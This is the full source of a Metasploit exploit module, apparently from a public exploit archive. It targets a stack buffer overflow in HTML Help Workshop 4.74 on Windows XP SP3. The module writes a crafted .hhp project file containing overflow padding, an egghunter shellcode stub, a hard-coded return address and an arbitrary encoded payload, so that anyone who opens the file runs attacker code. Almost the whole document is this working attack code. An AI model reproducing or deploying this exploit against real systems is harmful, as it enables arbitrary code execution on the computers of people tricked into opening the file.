HTML Help Workshop 4.74 Buffer Overflow

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require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow Exploit',  
'Description' => %q{  
This module exploits a stack overflow in HTML Help Workshop 4.74  
By creating a specially crafted hhp file, an an attacker may be able  
to execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'loneferret, original by Encrypt3d.M!nd' ],  
'Version' => '$Revision: 7724 $',  
'References' =>  
[  
[ 'URL', 'http://www.exploit-db.com/exploits/10321' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},   
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00",  
'StackAdjustment' => -4800,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP English SP3', { 'Ret' => 0x00401F93 } ], # CALL EDI \x93\x1f\x40\x00  
],  
'Privileged' => false,  
'DisclosureDate' => 'Dec 05 2009',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'Devil.hhp']),  
], self.class)  
  
end  
  
def exploit  
  
sploit = "\x5B\x4F\x50\x54\x49\x4F\x4E\x53\x5D\x0D\x0A\x43\x6F\x6E\x74\x65"  
sploit << "\x6E\x74\x73\x20\x66\x69\x6C\x65\x3D\x41\x0D\x0A\x49\x6E\x64\x65\x78\x20\x66\x69\x6C\x65\x3D"  
sploit << "\x41" * 224  
sploit << "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x69\x72\x61\x71\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"  
sploit << "\x42" * 24  
sploit << [target.ret].pack('V')  
sploit << "\x0d\x0a\x0d\x0a"  
sploit << "\x5B\x46\x49\x4C\x45\x53\x5D\x0D"  
sploit << "\x0d\x0a"  
sploit << "\x41" * 16  
sploit << "\x69\x72\x61\x71\x69\x72\x61\x71"  
sploit << payload.encoded  
sploit << "\x41" * 4000  
  
hhp = sploit  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(hhp)  
end  
  
end  
  
`